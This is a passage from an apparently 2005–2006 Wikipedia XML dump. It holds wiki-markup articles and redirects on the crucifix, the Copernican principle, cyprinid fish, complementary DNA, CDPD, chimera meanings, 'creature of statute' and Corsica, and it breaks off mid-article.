      <contributor>
        <ip>65.206.122.30</ip>
      </contributor>
      <comment>/* Usage */</comment>
      <text xml:space="preserve">{{otheruses}}&lt;br&gt;&lt;br&gt;
[[image:Crucifix.JPG|left|thumbnail|150px|A crucifix amidst the cornfields near [[Mureck]] in rural [[Styria (state)|Styria]], [[Austria]]]]
[[Image:Small crucifix.jpg|right|thumbnail|150px|A handheld crucifix]]
[[Image:Krucifix.jpg|right|thumbnail|150px|A crucifix in front of the [[Holy Spirit Church]] in [[Košice]], [[Slovakia]]]]
A '''crucifix''' is a [[Christian cross|cross]] with a representation of [[Jesus]]'s body, or corpus (plural, corpora). It is a principal symbol of the [[Christianity|Christian]] [[religion]]. It is primarily used among [[Roman Catholic Church|Roman Catholic]], certain [[Lutheran]], and high church [[Anglican]] Christians, and emphasizes Christ's sacrifice&amp;mdash;his death by [[crucifixion]]. Some styles of crucifix feature a [[skull and crossbones]] below the corpus, reflecting a legend that the place of Jesus' crucifixion was also the burial place of [[Adam and Eve|Adam]]. 

The corpora of [[Eastern Orthodox]] crucifixes tend to be two-dimensional [[icon|icons]] that show Jesus as already dead, as opposed to the depictions of the still-suffering Jesus that can be found in some other Churches. 

Among [[Protestant]] denominations, some prefer to depict the cross without the corpus in order to emphasize the resurrection while others claim that including the corpus is [[idolatry]].

A crucifix is often worn on a [[necklace]] as an item of [[jewelry]], or is attached to a [[rosary]]. It can be made out of various metals or wood.

Most Christians will ask their priest to bless a crucifix and place it in their home as a reminder of what Christ has done for them.

==Usage==

Catholic, Orthodox, Coptic and Anglican Christians generally use the crucifix in public religious services. They think the crucifix is in keeping with Scripture, which states that &quot;we preach Christ crucified.&quot; Also, in the Old Testament, Moses lifted up a snake crucified on a pole-- a kind of symbolic crucifix. For a long time it was revered, but not worshiped. Later on it was destroyed by king Hezekiah because the people were treating it just like other pagan gods.

==See also==

* [[Christian symbolism]]
* [[Corpus]]
* [[INRI]]
* [[Rood]]


{{commons|Category:Crucifixion}}

[[Category:Anglicanism]]
[[Category:Christian art]]
[[Category:Eastern Orthodoxy]]
[[Category:Sacramentals]]
[[Category:Religious objects]]
[[Category:Cross symbols]]
[[Category:Christian symbols]]

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[[de:Triumphkreuz]]</text>
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  <page>
    <title>COFDM</title>
    <id>7325</id>
    <revision>
      <id>15905399</id>
      <timestamp>2005-02-27T17:49:08Z</timestamp>
      <contributor>
        <username>Mulad</username>
        <id>12070</id>
      </contributor>
      <minor />
      <comment>#REDIRECT [[Orthogonal frequency-division multiplexing]] (bypass redirect)</comment>
      <text xml:space="preserve">#REDIRECT [[Orthogonal frequency-division multiplexing]]</text>
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  <page>
    <title>Coded orthogonal frequency division modulation</title>
    <id>7326</id>
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      <id>15905400</id>
      <timestamp>2005-02-27T17:52:50Z</timestamp>
      <contributor>
        <username>Mulad</username>
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      <minor />
      <comment>#REDIRECT [[Orthogonal frequency-division multiplexing]] (bypass redirect)</comment>
      <text xml:space="preserve">#REDIRECT [[Orthogonal frequency-division multiplexing]]</text>
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  </page>
  <page>
    <title>Copernican principle</title>
    <id>7327</id>
    <revision>
      <id>41494481</id>
      <timestamp>2006-02-27T19:17:54Z</timestamp>
      <contributor>
        <username>Lapaz</username>
        <id>773344</id>
      </contributor>
      <text xml:space="preserve">The '''Copernican principle''' is the [[philosophy|philosophical statement]] that no &quot;special&quot; [[observer]]s should be proposed. The term originated in the [[paradigm shift]] from the [[Ptolemaic system|Ptolemaic model]] of the heavens, which placed [[Earth]] at the [[center]] of the [[Solar system]] because it appears that everything revolved around Earth. [[Nicolaus Copernicus]] demonstrated that the motion of the heavens can be explained without the Earth (or anything else) being in the geometric center of the system, so the assumption that we are observing from a special position can be dispensed with. [[Kant]] used the expression &quot;Copernican revolution&quot; to account for the changes in the conception of the [[subject (philosophy)|subject]] of [[knowledge]].

== See also ==

* [[Anthropic principle]]
* [[Cosmological principle]]
* [[Doomsday argument]]
* [[Mediocrity principle]]
* [[Scientific revolution]]
* [[Subject-object problem]]
* [[Copernican federalism]]

{{philo-stub}}

[[Category:Cosmology]]
[[Category:Philosophical terminology]]

[[de:Kopernikanisches Prinzip]]
[[fr:Principe de Copernic]]</text>
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  <page>
    <title>Cyprinid</title>
    <id>7329</id>
    <revision>
      <id>41741931</id>
      <timestamp>2006-03-01T12:16:59Z</timestamp>
      <contributor>
        <username>T34</username>
        <id>194293</id>
      </contributor>
      <minor />
      <comment>es: fr:</comment>
      <text xml:space="preserve">{{Taxobox
| color = pink
| name = Cyprinids
| image = Harlequin rasbora.jpg
| image_width = 200px
| image_caption = A harlequin rasbora
| regnum = [[Animal]]ia
| phylum = [[Chordate|Chordata]]
| classis = [[Actinopterygii]]
| ordo = [[Cypriniformes]]
| familia = '''Cyprinidae'''
| subdivision_ranks = Genera
| subdivision = 
(many, see text)
}}

The [[Family (biology)|family]] '''Cyprinidae''', named after the [[Greek language|Greek]] word for [[goldfish]], consists of the [[carp]]s and [[minnow]]s.  It is the largest family of fresh-water fish, with over 2000 species of '''cyprinids''' in over 200 [[genus|genera]].  The family belongs to the order [[Cypriniformes]].  The fish in this family originate from [[North America]], [[Africa]], and [[Eurasia]].  The largest fish in this family is the [[Catlocarpio siamensis|Giant Barb]] (''Catlocarpio siamensis''), which may grow up to 3&amp;nbsp;[[metre|m]] (10&amp;nbsp;[[foot (unit of length)|ft]]) while many species are smaller than 5&amp;nbsp;[[centimetre|cm]] (2&amp;nbsp;[[inch|in]]).  All fish in this family are egg-layers and the breeding habits of most is one of non-guarding of the eggs, however, there are a few species that build nests and/or guard the eggs.

A great many familiar fish belong here:

* [[Barbus|Barbs]] (''Barbus'' spp., etc.)
* [[Carp]]s (''Cyprinus'' spp., etc.)
** ''[[Carassius carassius]]'' (crucian carp)
** ''[[Carassius auratus]]'' (goldfish)
** ''[[Cyprinus carpio]]'' (common carp, koi)
* [[Chub]]s (''Gila'' spp., etc.)
* [[Danionin]]s (''[[Danio]]'' ''[[Devario]]'' spp. etc.)
* [[Rasbora]]s (''Boraras'', ''Rasbora'', ''Trigonostigma'' spp.)
* [[Roach]] (''Rutilus'' spp.)
* [[Dace]] (various ''Leuciscus'', ''Rhinichthys'', etc)

==Genera==

*'''Acheilognathinae''' (bitterling-like cyprinids)
*''[[Acanthorhodeus]]''
*''[[Acheilognathus]]''
*''[[Paracheilognathus]]''
*''[[Rhodeus]]''
*''[[Tanakia]]''
*'''Alburninae'''
*''[[Acanthalburnus]]''
*''[[Alburnoides]]''
*''[[Alburnus]]''
*''[[Chalcalburnus]]''
*''[[Hemiculter]]''
*''[[Pseudolaubuca]]''
*'''Cultrinae'''
*''[[Culter]]''
*''[[Cyprinella]]''
*''[[Ischikauia]]''
*''[[Megalobrama]]''
*''[[Parabramis]]''
*''[[Sinibrama]]''
*'''Cyprininae'''
*''[[Acrossocheilus]]''
*''[[Aulopyge]]''
*''[[Barbodes]]''
*''[[Barbus]]''
*''[[Capoeta]]''
*''[[Carassius]]''
*''[[Catla]]''
*''[[Cirrhinus]]''
*''[[Ctenopharyngodon]]''
*''[[Cyclocheilichthys]]''
*''[[Cyprinion]]''
*''[[Cyprinus]]'' (common carp)
*''[[Epalzeorhynchos]]''
*''[[Garra]]''
*''[[Gymnocypris]]''
*''[[Kosswigobarbus]]''
*''[[Labeo (carp)|Labeo]]''
*''[[Morulius]]''
*''[[Mylopharyngodon]]''
*''[[Osteobrama]]''
*''[[Pseudobarbus]]''
*''[[Puntius]]''
*''[[Salmostoma]]''
*''[[Sawbwa]]''
*''[[Schizothorax]]''
*''[[Squaliobarbus]]''
*''[[Tor (genus)|Tor]]'' (mahseers)
*''[[Varicorhinus]]''
*'''Danioninae'''
*''[[Chela (fish)|Chela]]''
*''[[Danio]]'' (''[[Brachydanio]]'' is no longer valid)
*''[[Danionella]]''
*''[[Devario]]''
*''[[Esomus]]''
*''[[Inlecypris]]''
*''[[Microrasbora]]''
*''[[Parachela]]''
*''[[Sundadanio]]''
*'''[[Dionda]]'''
*'''Gobioninae'''
*''[[Abbottina]]''
*''[[Biwia]]''
*''[[Coreius]]''
*''[[Gobio]]'' (gudgeons)
*''[[Gobiobotia]]''
*''[[Hemibarbus]]''
*''[[Pseudogobio]]''
*''[[Pungtungia]]''
*''[[Rhinogobio]]''
*''[[Sarcocheilichthys]]''
*''[[Saurogobio]]''
*''[[Squalidus]]''
*''[[Xenophysogobio]]''
*'''Leuciscinae'''
*''[[Aaptosyax]]''
*''[[Abramis]]''
*''[[Acrocheilus]]''
*''[[Anaecypris]]''
*''[[Aspius]]''
*''[[Blicca]]''
*''[[Campostoma]]''
*''[[Chondrostoma]]''
*''[[Couesius]]''
*''[[Cyprinella]]''
*''[[Distoechodon]]''
*''[[Eremichthys]]''
*''[[Ericymba]]''
*''[[Erimystax]]''
*''[[Exoglossum]]''
*''[[chub|Gila]]''
*''[[Hesperoleucus]]''
*''[[Hybognathus]]''
*''[[Hybopsis]]''
*''[[Hypophthalmichthys]]''
*''[[Ladigesocypris]]''
*''[[Lavinia]]''
*''[[Lepidomeda]]''
*''[[Leucaspius]]''
*''[[Leuciscus]]''
*''[[Luxilus]]''
*''[[Lythrurus]]''
*''[[Macrhybopsis]]''
*''[[Margariscus]]''
*''[[Mylocheilus]]''
*''[[Nocomis]]''
*''[[Notemigonus]]''
*''[[Notropis]]''
*''[[Ochetobius]]''
*''[[Opsopoeodus]]''
*''[[Orthodon]]''
*''[[Phenacobius]]''
*''[[Phoxinellus]]''
*''[[Phoxinus]]''
*''[[Pimephales]]''
*''[[Platygobio]]''
*''[[Pogonichthys]]''
*''[[Pseudophoxinus]]''
*''[[Pteronotropis]]''
*''[[Ptychocheilus]]''
*''[[Relictus]]''
*''[[Rhinichthys]]''
*''[[Rhynchocypris]]''
*''[[Richardsonius]]''
*''[[Rutilus]]''
*''[[Scardinius]]''
*''[[Semotilus]]''
*''[[Siphateles]]''
*''[[Snyderichthys]]'' (leatherside chub)
*''[[Tribolodon]]''
*''[[Tropidophoxinellus]]''
*''[[Vimba]]''
*''[[Xenocypris]]''
*'''Rasborinae''' 
*''[[Amblypharyngodon]]''
*''[[Aphyocypris]]''
*''[[Barilius]]''
*''[[Boraras]]''
*''[[Opsariichthys]]''
*''[[Oxygaster]]''
*''[[Pseudorasbora]]''
*''[[Raiamas]]''
*''[[Rasbora]]''
*''[[Tanichthys]]''
*''[[Trigonostigma]]''
*''[[Zacco]]''
*'''Unclassified'''
*''[[Acanthobrama]]''
*''[[Aristichthys]]''
*''[[Clinostomus]]''
*''[[Discogobio]]''
*''[[Gobiocypris]]''
*''[[Hemigrammocypris]]''
*''[[Hemitremia]]''
*''[[Iberocypris]]''
*''[[Meda]]''
*''[[Moapa]]''
*''[[Mylopharodon]]''
*''[[Mystacoleucus]]''
*''[[Oregonichthys]]''
*''[[Pachychilon]]''
*''[[Plagopterus]]''
*''[[Pseudobrama]]''
*''[[Rohtee]]''
*''[[Semilabeo]]''
*''[[Sinocyclocheilus]]''
*''[[Spinibarbichthys]]''
*''[[Spinibarbus]]''
*''[[Telestes]]''
*''[[Tiaroga]]''
*''[[Xenocyprioides]]''
*''[[Yaoshanicus]]''

==References==
*{{ITIS|taxon=Cyprinidae|year=2004|date=28 April|ID=163342}}
*{{FishBase_family|family=Cyprinidae|year=2004|month=September}}

[[Category:Cyprinidae| ]]
[[Category:Cypriniformes]]

==External links==
*[http://mblaquaculture.com/content/organisms/cyprinella_leedsi.php ''Cyprinella leedsi'' Photo and Information at MBL Aquaculture]
*[http://mblaquaculture.com/content/organisms/pimephales_promelas.php ''Pimephales promelas'', Fathead Minnow, Photo and Information at MBL Aquaculture]

[[de:Karpfenfische]]
[[es:Cyprinidae]]
[[fr:Cyprinidae]]
[[it:Cyprinidae]]
[[lt:Karpinės]]
[[nl:Eigenlijke karpers]]
[[pl:Karpiowate]]
[[sl:Krapovci]]
[[sv:Karpfiskar]]</text>
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  </page>
  <page>
    <title>Complementary DNA</title>
    <id>7330</id>
    <revision>
      <id>41631604</id>
      <timestamp>2006-02-28T17:35:07Z</timestamp>
      <contributor>
        <username>FlaBot</username>
        <id>228773</id>
      </contributor>
      <minor />
      <comment>robot  Adding: sv</comment>
      <text xml:space="preserve">In [[genetics]], '''complementary DNA''' ('''cDNA''') is [[DNA]] synthesized from a mature [[mRNA]] template. cDNA is often used to clone [[eukaryote|eukaryotic]] [[gene]]s in [[prokaryote]]s.

== Overview ==

The [[central dogma of molecular biology]] outlines that in synthesizing [[protein]]s, [[DNA]] is [[transcription (genetics)|transcribed]] into [[mRNA]], which is [[translation (genetics)|translated]] into protein. One difference between eukaryotic and prokaryotic mRNA is that eukaryotic mRNA can contain [[intron]]s (intervening sequences), which are not coding sequences, ''per se'', and must be [[splicing|spliced]] out of the mRNA before it is translated into protein. Prokaryotic mRNA has no introns, so it is not subject to  [[splicing (genetics)|splicing]].

Often it is desirable to express eukaryotic genes in prokaryotic cells. A simplified method of doing so would include the addition of eukaryotic DNA to a prokaryotic host, which would transcribe the DNA to mRNA and then translate it to protein. However, as eukaryotic DNA has introns, and since prokaryotes lack the machinery to splice them, the splicing of eukaryotic DNA must be done prior to adding the eukaryotic DNA into the host (as well, before placing the eukaryotic DNA into the prokaryote, it must be methylated and a prokaryotic promoter region must be added). This spliced DNA is called complementary DNA.

== Synthesis ==

Though there are several methods for doing so, cDNA is most often synthesized from mature (fully spliced) mRNA using the enzyme [[reverse transcriptase]]. This enzyme operates on a single strand of mRNA, generating its complementary DNA based on the pairing of RNA [[base pair]]s (A, U, G, C) to their DNA complements (T, A, C, G).

To obtain eukaryotic cDNA whose introns have been spliced:
# A eukaryotic cell transcribes the DNA (from a gene) into RNA (pre-mRNA).
# The same cell processes the pre-mRNA strand by splicing out introns, and adding a [[Polyadenylation|poly-A tail]] and GTP cap.
# This mature mRNA strand is extracted from the cell.
# A poly-[[thymine|T]] [[oligonucleotide]] is hybridized onto the poly-[[adenosine|A]] tail of the mature mRNA template. (Reverse transcriptase requires this double-stranded segment as a primer to start its operation.)
# Reverse transcriptase is added, along with deoxynucleotide triphosphates (A, T, G, C).

The reverse transcriptase scans the mature mRNA and synthesizes a sequence of DNA that complements the mRNA template. This strand of DNA is complementary DNA.

Note that the [[central dogma of molecular biology]] is broken in this process.

== Applications ==

Complementary DNA is often used in [[clone (genetics)|gene cloning]] or as [[gene probe]]s or in the creation of a [[cDNA library]]. 

== External links == 
* [http://www.h-invitational.jp/ H-Invitational Database]
* [http://fantom.gsc.riken.jp/ Functional Annotation of the Mouse database]
[[Category:DNA]]

[[de:CDNA]]
[[es:ADN complementario]]
[[he:CDNA]]
[[nl:CDNA]]
[[ja:CDNA]]
[[pl:CDNA]]
[[sv:CDNA]]</text>
    </revision>
  </page>
  <page>
    <title>Cellular digital packet data</title>
    <id>7331</id>
    <revision>
      <id>35747164</id>
      <timestamp>2006-01-19T00:07:21Z</timestamp>
      <contributor>
        <username>MSTCrow</username>
        <id>53133</id>
      </contributor>
      <minor />
      <comment>Removed d ead link.</comment>
      <text xml:space="preserve">{{Table Mobile phone standards}}
'''Cellular Digital Packet Data''' ('''CDPD''') uses unused [[bandwidth]] normally used by [[Advanced_Mobile_Phone_System|AMPS]] [[mobile phone]]s between 800 and 900 MHz to transfer data.  Speeds up to 19.2 kbit/s are possible.

In the early 1990's, CDPD was large on the horizon as a future technology.  However, it had difficulty competing against existing slower but less expensive [[Mobitex]] and [[DataTac]] systems, and never quite gained widespread acceptance before newer, faster standards such as [[GPRS]] became dominant.

As of the year 2004, major carriers in the [[United States]] are threatening to shut down CDPD service.  As of [[July]] [[2005]], the former [[AT&amp;T Wireless]] CDPD network is no longer active, and [[Cingular Wireless]] CDPD customers have been informed that as of the end of the year, it will be down as well.</text>
    </revision>
  </page>
  <page>
    <title>Chimera</title>
    <id>7333</id>
    <revision>
      <id>40886631</id>
      <timestamp>2006-02-23T17:48:28Z</timestamp>
      <contributor>
        <username>Marudubshinki</username>
        <id>190816</id>
      </contributor>
      <comment>/* In fiction */</comment>
      <text xml:space="preserve">In [[Greek mythology]], the '''''Chimera''''' (or, as in [[Latin language|Latin]], '''''Chimaera''''') is a monstrous creature made of the parts of multiple animals.   See [[Chimera (mythology)]].

The term '''''chimera''''' (alternatively '''''chimaera''''') or ''chimeric'' is often used [[metaphor]]ically to describe things that have combined attributes from different sources.  In [[genetics]], for example, an [[organism]] or [[biological tissue|tissue]] created from two or more different genetic sources is called chimeric, as in [[transplant]] [[patient]]s with [[organ (anatomy)|organ]]s from other donors. Most other usages are related to this metaphor.

The word ''chimera'' is also generally accepted to mean an unreal ambition, a fanciful scheme, or even a castle in the air. This is in clear contrast with its old meaning of a bogey or an irrational fear. 

==In geography==
* In the geography of the ancient world, [[Chimaera (geography)|Chimaera]] is the name of one or more volcanic sites in or near [[Lycia]].

==In science==
* In zoology, a [[Chimera (genetics)|chimera]] is a single animal organism with genetically distinct cells from two different zygotes. 
** In ichthyology (the study of fish), a [[Chimaera (fish)|chimaera]] is a member of group of cartilaginous fish related to sharks.
* In botany, a [[Chimera (plant)|chimera]] is a single plant organism with genetically distinct cells.
* In virology, a '''chimera ''' is a virus containing genetic material from other organisms.
* In biochemistry, a [[Chimera (protein)|chimera]] is a hybrid protein made by splicing two genes.
* In paleontology, a chimera is a fossil with elements from more than one creature, like the ''[[Ultrasauros]]'' and perhaps the ''[[Protoavis]]''.
* In [[Computational Fluid Dynamics]], a chimera grid method is a technique to use overlapping non-aligned grids to simplify grid generation.

==In art and design==
[[Image: OtterChimera_7828.jpg|right|thumb|Architectural otter chimera]]
* In architecture, a chimera is ornamental sculpture attached to a building similar to a [[gargoyle]] but which does not work as a water spout and is only decorative in nature. 
* In art and design, chimera is a very pale purple or lavender color&amp;mdash;a term mainly used when referring to painting.  Chimera, known as a base color, is made up of a mixture of two or more colors. Another base color is magnolia, which is also a common color used to paint the walls of houses, etc. when they are first built.
* As a noun, chimera means a grotesque product of the imagination.


==In business==
* In the automobile industry, the [[TVR Chimaera|Chimaera]] is a model of sports car made by [[TVR]].
* On the internet, Chimera is the older name of a Mozilla-based web browser for Mac OS X.  It is now called [[Camino]].
* Chimera is a brand of lighting equipment used in photography and the film/video industry.

==In fiction==
&lt;!-- Before adding to this section, please read the editorial consensus on the article discussion page. --&gt;

* ''[[Chimera (novel)|Chimera]]'' was a 1972 novel by [[John Barth]].
* In the [[Star Wars]] universe, the ''[[Chimaera (Star Wars)|Chimaera]]'' was an [[Galactic Empire (Star Wars)|Imperial]] [[Star Destroyer]].
*The Chimera is an APC of the Imperial Guard in the table-top wargame [[Warhammer 40,000]]. (see [[Vehicles of the Imperium (Warhammer 40,000)]]) 
* In the movie ''[[Mission: Impossible II]]'', Chimera was the name of the virus on which the plot was based.
* In the video game ''[[Resident Evil 1|Resident Evil]]'', a chimera is a mutated insect-like creature with long arms and claws that hangs from ceilings.
* In the sci-fi series ''[[Stargate SG-1]]'', &quot;[[Chimera (Stargate SG-1)|Chimera]]&quot; is a season 7 episode.
* The anime series [[Fullmetal Alchemist]] features [[Chimeras of Fullmetal Alchemist|chimeras]] in many [[story arc]]s. In the series they are created by the combination of multiple species through the use of [[alchemy]].
* The title of a season 7 ''[[Star Trek: Deep Space Nine]]'' episode, &quot;[[Chimera (DS9 episode)|Chimera]].&quot;
* The title of a season 7 ''[[The_X-Files_%28season_7%29#Chimera|X-files]]'' episode, ''Chimera''.
* On the TV show [[CSI: Crime Scene Investigation]], a human chimera who is made of two embryos commits a murder, the team has difficulty identifying him because he has two sets of [[DNA]].
* A chimera is the heavy flying unit in the [[Night Elf]] army in the game [[Warcraft III]].

==In music==
&lt;!--- 
          Before adding to this section, please read the editorial consensus on the article discussion page.
--&gt;
* Chimera is a song by the punk band [[Bad Religion]] off their album [[Generator (album)|Generator]].
* In New Age or electronica music, 
**''Chimera'' is an album by [[Delerium]].
**''Chimera'' is also a compilation album by [[Bill Nelson]].
* In metal music, 
**''Chimera'' is an album by [[Mayhem (band)|Mayhem]].
**[[Chimaira]] is a band from Cleveland, Ohio.
* In folk music, Chimera was a short-lived English band that released one album in 1969.
* ''Chimera'' is the title of a song by Canadian rock band [[The Tea Party]]. 
{{commons|Chimera}}

{{disambig}}

[[da:Kimære]]
[[de:Chimera]]
[[eo:Ĥimero]]
[[es:Quimera]]
[[fr:Chimère]]
[[it:Chimera]]
[[ja:&amp;#12461;&amp;#12513;&amp;#12521;]]
[[hu:Kiméra]]
[[pl:Chimera]]</text>
    </revision>
  </page>
  <page>
    <title>Creature of statute</title>
    <id>7335</id>
    <revision>
      <id>35890234</id>
      <timestamp>2006-01-20T01:16:09Z</timestamp>
      <contributor>
        <username>Mion</username>
        <id>724747</id>
      </contributor>
      <text xml:space="preserve">A '''creature of statute''' is a legal entity such as a [[corporation]] created by [[statute]]. Thus, when a statue in some fashion requires the formation of a corporate body—often for governmental purposes—such bodies when formed are known as &quot;creatures of statue&quot;. 

As a legal term, the  meaning of &quot;creature of statue&quot; is most common to the [[United States]]: in the [[United Kingdom]] these bodies are simply called 'statutory corporations' or 'statutory bodies' and generally have some governmental function, ''e.g.'' the [[United Kingdom Atomic Energy Authority|UK Atomic Energy Authority]]. In a wider sense, most companies in the UK are created under statute since the [[Companies Act 1985]] specifies how a company may be created by a member of the public, but these companies are not called 'statutory corporations'. Oftentimes, in American legal and business documents that speak of governing bodies (''e.g.'', a board that governs small businesses in China) these bodies are described as &quot;creatures of statue&quot; to inform readers of their origins and format although the national governments that created them may not term them as creatures of statue. [[Australia]] also uses the term &quot;creature of statue&quot; to describe some governmental bodies.

The importance of a corporate body, regardless of its exact function, when such a body is a creature of statue is that its active functions can only be within the scope detailed by the statue which created that corporation. Thereby, the creature of statue is the tangible manifestation of the functions or work described by a given statue. The jurisdiction of a body that is a creature of statue is also therefore limited to the functional scope written into the laws that created that body. Unlike most (private) corporate bodies, creatures of statue cannot expand their business interests into other diverse areas.

==See also==
*[[Competition regulator]]

{{law-stub}}
[[Category:Legal terms]]</text>
    </revision>
  </page>
  <page>
    <title>CPGM</title>
    <id>7336</id>
    <revision>
      <id>15905409</id>
      <timestamp>2005-05-28T03:06:12Z</timestamp>
      <contributor>
        <username>Urhixidur</username>
        <id>68509</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#REDIRECT [[General Conference on Weights and Measures]]</text>
    </revision>
  </page>
  <page>
    <title>Convention of the Metre</title>
    <id>7337</id>
    <revision>
      <id>15905410</id>
      <timestamp>2005-05-27T13:41:46Z</timestamp>
      <contributor>
        <username>Urhixidur</username>
        <id>68509</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#REDIRECT [[Convention du Mètre]]</text>
    </revision>
  </page>
  <page>
    <title>Corsica</title>
    <id>7338</id>
    <restrictions>edit=autoconfirmed:move=autoconfirmed</restrictions>
    <revision>
      <id>41885924</id>
      <timestamp>2006-03-02T10:28:26Z</timestamp>
      <contributor>
        <username>GrinBot</username>
        <id>411872</id>
      </contributor>
      <minor />
      <comment>robot  Adding: an, eu, id, ro</comment>
      <text xml:space="preserve">{{dablink|For the Dakotan town, see [[Corsica, South Dakota]].}}
{{Infobox French Région |
native_name              = Collectivité Territoriale de Corse |
common_name              = Corse |
image_flag               = Corsica flag.png |
flag                     = (flag)|
image_flag_size          = 130px|
image_logo               = CorseLogo.jpg|
image_logo_size          = 64px|
capital                  = [[Ajaccio]] |
area                     = 8,680 |
area_scale               = 9 |
Regional president       = &amp;sup2; [[Ange Santini]]&lt;br&gt;([[Union for a Popular Movement|UMP]]) (since [[2004]]) |
population_rank          = 25th|
population_census        = 260,196 |
population_census_year   = 1999  |
population_estimate      = 272,000 |
population_estimate_year = 2004 |
population_density       = 32 |
population_density_year  = 2005 |
arrondissements          = 5 |
cantons                  = 52 |
communes                 = 360 |
départements             = [[Corse-du-Sud]]&lt;br&gt;[[Haute-Corse]] |
image_map                = Corse map.png |
footnotes=&amp;sup2; The Regional President's title is ''President of the Executive Council'' |
|}}
'''Corsica''' ([[French language|French]]: ''Corse''; [[Corsican language|Corsican]]: ''Corsica'') is the fourth largest [[island]] in the [[Mediterranean Sea]] (after [[Sicily]], [[Sardinia]], and [[Cyprus]]). It is located west of [[Italy]], southeast of [[France]], and north of the island of [[Sardinia]]. 

Corsica is one of the 26 ''[[région]]s'' of [[France]], although strictly speaking Corsica is called a &quot;territorial collectivity&quot; (''collectivité territoriale'') by law. As a territorial collectivity, it enjoys powers slightly more important than other French ''régions'', but for the most part its status is quite similar to the status of the other French ''régions''. Corsica is referred to as a &quot;''région''&quot; in common speech, and is almost always listed among the other ''régions'' of France. Although the island is separated from the [[continental]] [[mainland]] by the [[Ligurian Sea]], [[Political geography|politically]] Corsica is considered part of [[Metropolitan France]].

Corsica is famed as the birthplace of [[Napoleon I of France|Napoléon Bonaparte]]. 

==Geography==
Corsica has 1,000km of coastline and more than 200 beaches, as well as being largely mountainous, with [[Monte Cinto]] as the highest peak at 2706m and 50 other summits of more than 2000m. 

The island is separated from Sardinia by the [[Strait of Bonifacio]].

Main towns: (''Corsican names'')
:[[Ajaccio]] (''Aiacciu'') &amp;ndash; also known by its Latin name of Ajax
:[[Bastia]] (''Bastia'')
:[[Corte]] (''Corti'')
:[[Sartène]] (''Sartè'')

Other towns and villages:
:[[Saint-Florent, Haute-Corse|Saint-Florent]] (''San Fiurenzu'')
:[[Calvi]] (''Calvi'')
:[[L'Île-Rousse]] (''Isula Rossa'')
:[[Porto-Vecchio]] (''Porti Vechju'')
:[[Bonifacio]] (''Bunifaziu'')
:[[Appietto]] (''Appiettu'')

==Ecology==
[[Image:CorsicaSatellite.jpg|thumb|right|150px|Satellite image of Corsica, December 7, 2001 (NASA image)]]

The island has a [[Mediterranean climate]], with hot, dry summers and mild, rainy winters. The natural vegetation was [[Mediterranean forests, woodlands, and shrub]]. The coastal lowlands are part of the [[Tyrrhenian-Adriatic sclerophyllous and mixed forests]] [[terrestrial ecoregion|ecoregion]], in which forests and woodlands of [[evergreen]] [[sclerophyll]] [[oak]]s predominate, chiefly [[Holm Oak]] ''(Quercus ilex)'' and [[Cork Oak]] ''(Quercus suber)''. The mountains are cooler and wetter, and home to the [[Corsican montane broadleaf and mixed forests]] ecoregion, which support diverse forests of [[oak]], [[pine]], and broadleaf deciduous trees, with vegetation more typical of northern Europe on the slopes of the highest peaks.

Much of the coastal lowlands has been cleared for [[agriculture]], and grazing and logging have reduced the mountain forests considerably.

The island has a natural park ([[Parc Naturel Régional de Corse]]), which protects thousands of rare animal and plant species. The park was created in 1972 and includes the [[Golfe de Porto]], the [[Réserve Naturelle de Scandola]] (a [[UNESCO]] [[World Heritage Site]]), and some of the highest mountains on the island. This park is protected and cannot be reached on foot, but sumptuous sails are available in order to discover unique landscapes. Two endangered subspecies of hoofed mammals, the [[mouflon]] ''(Ovis aries musimon)'' and [[Corsican red deer]] ''(Cervus elaphus corsicanus)'' inhabit the island; the Corsican red deer is [[endemic (ecology)|endemic]].

==History==
[[Image:Corsica-NapoleonHouse.jpg|thumb|right|The birthplace of Napoleon Bonaparte in Ajaccio]]
Because of the strategic position it occupies in the Mediterranean, Corsica has long been considered significant as a platform for military operations, particularly during the several centuries of violent conflict between Italy and France. During those times, possible unification with the neighbouring island of [[Sardinia]] was seen as a dangerous eventuality by many European states, because it would have given the ruler of the islands a dominant position in the Mediterranean Sea.

The city state of [[Genoa]] held sway over the island for centuries before ceding Corsica to France in [[1768]] to help pay off a debt. An important figure in Corsican history is [[Pasquale Paoli]] (1725-1807), the Corsican general and patriot who struggled for Corsican independence, first against Genoa, then against France. It was essentially with him that the [[Maure|Moor]]'s head (&quot;Testa Maura&quot;) became Corsica's emblem in 1760, hearking back to the period when Corsica had been controlled by Moors (850 to 1034).

Corsica is also the birthplace of [[Napoleon I of France|Napoleon Bonaparte]], who was born in [[Ajaccio]], into minor Corsican nobility. Corsica was under French control at the time, and Corsican nobles were offered the ability to gain French titles if they could prove their genealogy sufficiently. In an attempt to do so, Napoleon's parents travelled to court in France, and, like many other Corsican nobles, sent their son to school there.

==Administration==

[[Image:CorsicaMap.jpg|thumb|left|120px|Map of Corsica]]
The capital of the territorial collectivity of Corsica is [[Ajaccio]] (Corsican: ''Aiacciu''). The territorial collectivity is divided in two ''[[département in France|département]]s'': [[Corse-du-Sud]] and [[Haute-Corse]]. These two ''départements'' were created on [[September 15]], [[1975]] by splitting the hitherto united ''département'' of Corse.

Recent attempts to gain greater autonomy for the territorial collectivity of Corsica have failed. A local referendum held in [[2003]], aimed at disbanding the ''départements'' and leaving only the territorial collectivity with extended powers, was voted down by a narrow margin.

==Economy==
Tourism plays a major role in the Corsican economy. The island's pleasant climate, beautiful mountains and breathtaking coastlines make it a popular destination among the French and other Western Europeans. However, the island has not had the same level of intensive development as other parts of the Mediterranean and is thus relatively unspoiled. Tourism is particularly concentrated in the area around Porto Vecchio and Bonifacio in the south of the island and Calvi in the northwest.

==Politics==
Corsica is currently governed almost as any other ''[[région in France|région]]'' of France, as explained in the introduction. There are several movements on the island calling for some degree of Corsican [[autonomy]] from France, or even full [[independence]]. Generally speaking, autonomist proposals focus on the promotion of the [[Corsican language]], more power for local governments, and some exemptions from national [[tax]]es in addition to those already applying to Corsica. 

The French government is opposed to full independence, as it would threaten France's unity, but has at times shown support for some level of autonomy. There is support on the island for proposals of greater autonomy, but polls show that a large majority of Corsican are opposed to full independence.

